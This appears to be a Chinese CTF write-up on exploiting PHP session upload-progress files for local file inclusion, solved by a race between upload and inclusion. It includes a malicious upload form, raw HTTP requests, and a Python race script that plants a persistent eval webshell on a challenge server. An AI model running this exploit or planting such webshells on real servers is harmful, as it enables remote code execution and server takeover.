当前位置: 首页 > news >正文

session临时文件包含

使用情况

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

比如这题,禁用了php和data,显然打不了伪协议,

点也被禁了,正常的包含文件基本不可能了

那么这里就用到了session临时文件包含了

什么是session临时文件

PHP_SESSION_UPLOAD_PROGRESS开启时,我们可以通过这个PHP_SESSION_UPLOAD_PROGRESS查看我们文件上传的进度,并且,他的值我们是可控的,在我们上传文件的过程中,PHP_SESSION_UPLOAD_PROGRESS的内容会以一个临时文件的方式保存,而这个临时文件的名称我们也是可控的,他存放在tmp目录下,路径为

/tmp/sess_???

其中???是我们的设置的PHPSESSID的值,因为cookie的值我们是可以自定义的,所以该临时文件的文件名也是我们可控的

 该文件的内容的形式为

upload_progress_xxxxxx;|a:5{s:10:"start_time";i:1743699018;s:14:"content_length";i:406;s:15:"bytes_processed";i:406;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:5:"1.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1743699018;s:15:"bytes_processed";i:406;}}}

开头的xxxxx是可控的,内容为PHP_SESSION_UPLOAD_PROGRESS的值,前面的upload_progress_是垃圾数据,但是这里我们上传的是用尖括号包着的php代码,不会被垃圾数据影响,有些情况需要消除这些垃圾数据才能继续利用,可以使用base64编码的办法

所以,我们只需要把要执行的php代码写在PHP_SESSION_UPLOAD_PROGRESS里面,然后包含这个session文件就行了

不幸的是,session.upload_progress.cleanup是默认开启的,它意味着我们文件上传结束时,该临时文件也会被清除

所以就需要进行条件竞争,让上传和包含同时进行

 方法一、抓包

首先我们写一个文件上传的表单,同时给PHP_SESSION_UPLOAD_PROGRESS赋值为恶意代码

<!DOCTYPE html>
<html>
<body>
<form action="http://target.com/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls');?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

上传的文件随便一个就行

我们先抓到这个包

POST / HTTP/1.1

Accept-Encoding: gzip, deflate

Origin: null

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryofpu5xWATy06KtvL

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.far{{int(1-10000)}}

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Language: zh,zh-CN;q=0.9

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Content-Length: 338

Cookie: PHPSESSID=onehang

------WebKitFormBoundaryofpu5xWATy06KtvL

Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php system('cat fl0g.php');?>

------WebKitFormBoundaryofpu5xWATy06KtvL

Content-Disposition: form-data; name="file"; filename="1.txt"

Content-Type: text/plain

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaa

------WebKitFormBoundaryofpu5xWATy06KtvL--

 紧接着,我们抓一个包含这个临时文件的包

GET /?file=/tmp/sess_onehang HTTP/1.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 S{{int(1-10000)}}

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Cookie: PHPSESSID=onehang

Accept-Encoding: gzip, deflate

Accept-Language: zh,zh-CN;q=0.9


 

 注意:这两个次请求需要设置相同的cookie

接下来就是同时使用bp或者yakit爆破这两个包了,在get的包里获取到返回的结果

方法二、py脚本

import requests
import threading

url = 'http://5851aa97-c7fa-4af7-9b19-627b6720b697.challenge.ctf.show/'
sessid = 'onehang'

test_file = open("test.txt",'rb')
def write(session):
    while True:
        res = session.post(url=url,
                        data = {
                            "PHP_SESSION_UPLOAD_PROGRESS":"<?php eval($_POST[1]);?>"
                        },
                        cookies = {
                            'PHPSESSID':sessid
                        },
                        files={
                            'file':test_file
                        }
                        )
        
def read(session):
    while True:
        res = session.post(url=url+f'?file=/tmp/sess_{sessid}',
                           data={
                               "1":"file_put_contents('/var/www/html/1.php','<?php eval($_POST[2]);?>');"
                           },
                           cookies={
                               'PHPSESSID':sessid
                           }
                           )
        ans = session.get(url+'1.php')
        if ans.status_code == 200:
            print("====done====")
        else:
            print(ans.status_code)

if __name__ == "__main__":
    with requests.session() as session:
        t1 = threading.Thread(target=write, args=(session, ))
        t1.daemon = True
        t1.start()
        read(session)    

这个脚本挺好写的,但是需要有一些要注意的点

1.write和read的cookies必须相同

2.write中上传的文件是必不可少的,不然这么记录文件上传的进度呢,不上传files会导致写马失败

我的脚本是重新在服务器上写了一个不会被清除的一句话木马,然后在执行命令,当然也可以像前面抓包的方法一样,执行执行命令

与强制文件上传的区别

强制文件上传也是包含一个临时文件,但是它需要使用?来匹配文件名,这在include函数中是不允许的

http://www.dtcms.com/a/112220.html

相关文章:

  • 【教学类-102-02】自制剪纸图案(留白边、沿线剪)02——Python+PS自动化添加虚线边框
  • ROS订阅相机图像识别颜色并发布识别信息
  • 【进收藏夹吃灰】Python基础学习指南
  • 【读书笔记·VLSI电路设计方法解密】问题61:扫描插入的目的是什么
  • java 局部内部类
  • Git 教程:从 0 到 1 全面指南 教程【全文三万字保姆级详细讲解】
  • DPDI版本升级说明
  • AI提示词:分享卡片生成器
  • 浅析 Spring AI 与 Python:企业级 AI 开发的技术分野
  • 在Git中如何处理冲突?
  • 目前主流OCR/语义理解/ASR
  • 使用mcp自定义编写mcp tool,使用 conda 启动,在cline中配置使用
  • MOM成功实施分享(八)汽车活塞生产制造MOM建设方案(第一部分)
  • fastGPT—前端开发获取api密钥调用机器人对话接口(HTML实现)
  • GIt 分布式版本控制系统
  • ND4J的MemoryWorkspace
  • [2018][note]用于超快偏振开关和动态光束分裂的all-optical有源THz超表——
  • 【FPGA基础学习】状态机思想实现流水灯
  • 推理模型与普通大模型如何选择?
  • vue组件开发:什么是VUE组件?
  • Redis核心机制-缓存、分布式锁
  • selectdb修改表副本
  • leetcode51-N皇后
  • SpringBoot异步任务实践指南:提升系统性能的利器
  • 《P1029 [NOIP 2001 普及组] 最大公约数和最小公倍数问题》
  • 数据集(Dataset)和数据加载器(DataLoader)-pytroch学习3
  • MySQL 索引原理
  • Koordinator-NodeInfoCollector
  • 微服务架构: SpringCloud服务注册与发现详解
  • P17_ResNeXt-50